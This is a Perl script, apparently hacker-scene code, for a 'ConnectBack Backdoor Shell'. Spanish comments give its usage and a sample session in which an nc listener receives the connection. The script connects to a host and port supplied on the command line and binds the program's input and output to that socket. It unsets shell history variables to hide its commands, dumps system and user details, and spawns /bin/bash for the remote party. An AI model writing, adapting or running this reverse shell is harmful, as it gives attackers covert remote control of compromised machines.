#!/usr/bin/perl
use IO::Socket;
# #Exodo Connect Back Shell
#
#exodo@undernet.org:/home/exodo$ perl dc.pl
#--== ConnectBack Backdoor Shell vs 0.1 by #Exodo Hc ==--
#
#Uso: dc.pl [Host] [Port]
#
#Ej.: dc.pl 127.0.0.1 2121
#exodo@undernet.org:/home/exodo$ perl dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell vs 0.1 by #Exodo Hc ==--
#
#[*] Resolviendo HostName
#[*] Conectando... 127.0.0.1
#[*] Spawning Shell
#[*] Conectado al host remoto
#
#bash-2.05b# nc -vv -l -p 2121
#listening on [any] 2121 ...
#connect to [127.0.0.1] from localhost [127.0.0.1] 32769
#--== ConnectBack Backdoor Shell vs 0.1 by #Exodo Hc ==--
#
#--==Info del Sistema==--
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
#
#--==Userinfo==--
#uid=1001(lord) gid=100(users) groups=100(users)
#
#--==Directorio==--
#/root
#
#--==Shell==--
#
$system = '/bin/bash';
$ARGC=@ARGV;
print "#Exodo BACK-CONNECT BACKDOOR\n\n";
if ($ARGC!=2) {
print "Uso: $0 [Host] [Port] \n\n";
die "Ej.: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Imposible Resolver el Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Imposible Conectar al Host\n";
print "[*] Resolviendo HostName\n";
print "[*] Connectando... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Conectado al host remoto \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "#Exodo BACK-CONNECT BACKDOOR \n\n";
system("unset HISTFILE; unset SAVEHIST;echo --==Info del Sistema==--; uname -a;echo;
echo --==Userinfo==--; id;echo;echo --==Directorio==--; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF